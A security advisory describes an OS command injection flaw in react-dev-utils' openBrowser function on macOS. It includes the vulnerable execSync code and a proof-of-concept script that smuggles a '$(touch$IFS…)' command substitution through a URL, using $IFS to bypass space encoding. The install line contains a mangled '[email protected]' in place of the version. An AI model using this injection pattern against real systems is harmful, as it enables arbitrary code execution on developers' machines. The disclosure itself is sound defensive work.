OS Command Injection in openBrowser.js

Summary

The react-dev-utils package (v12.0.1) is vulnerable to OS Command Injection on macOS. The openBrowser API fails to properly sanitize URLs before passing them to a shell command via execSync, allowing an attacker to execute arbitrary commands if they can control the URL passed to the function.

Details

The vulnerability exists in openBrowser.js within the startBrowserProcess function. When running on macOS and targeting Google Chrome or a Chromium-based browser, the library uses child_process.execSync to execute an AppleScript:

// Located in react-dev-utils/openBrowser.js
execSync(
  'osascript openChrome.applescript "' +
    encodeURI(url) +
    '" "' +
    chromiumBrowser +
    '"',
  {
    cwd: __dirname,
    stdio: 'ignore',
  }
);

Root Cause:

The code uses encodeURI(url) as a security filter. However, encodeURI does not escape characters that are significant in a shell environment, specifically $, (, and ). Since the URL is interpolated into a double-quoted string and executed via /bin/sh, the shell expands command substitutions $(...) or backticks before passing the result to osascript. Although the library was previously patched in v11.0.5 by moving to execFileSync, the dangerous execSync logic has reappeared in version 12.0.1.

PoC

Environment: macOS with Google Chrome currently running.

1. Install the affected version: npm install [email protected]
2. Create reproduce.js:

const openBrowser = require('react-dev-utils/openBrowser');
const fs = require('fs');

// Use $IFS to bypass space encoding and avoid characters filtered by encodeURI
const marker = '/tmp/RCE_VERIFIED';

if (fs.existsSync(marker)) fs.unlinkSync(marker);
const payloadUrl = 'http://localhost/$(touch$IFS' + marker + ')';
openBrowser(payloadUrl);

setTimeout(() => {
  if (fs.existsSync(marker)) {
    console.log('[+] SUCCESS: Command executed. File found at ' + marker);
    console.log('Contents: ' + fs.readFileSync(marker, 'utf8'));
  } else {
    console.log('[-] Failed to trigger. Ensure Chrome is running and you are on macOS.');
  }
}, 2000);

1. Run: node reproduce.js

Impact

This is a High/Critical severity vulnerability impacting millions of developers using create-react-app. An attacker who can influence the URL opened by the dev server (via .env files, malicious middleware, or shared dev environments) can gain full Remote Code Execution (RCE) on the developer's workstation.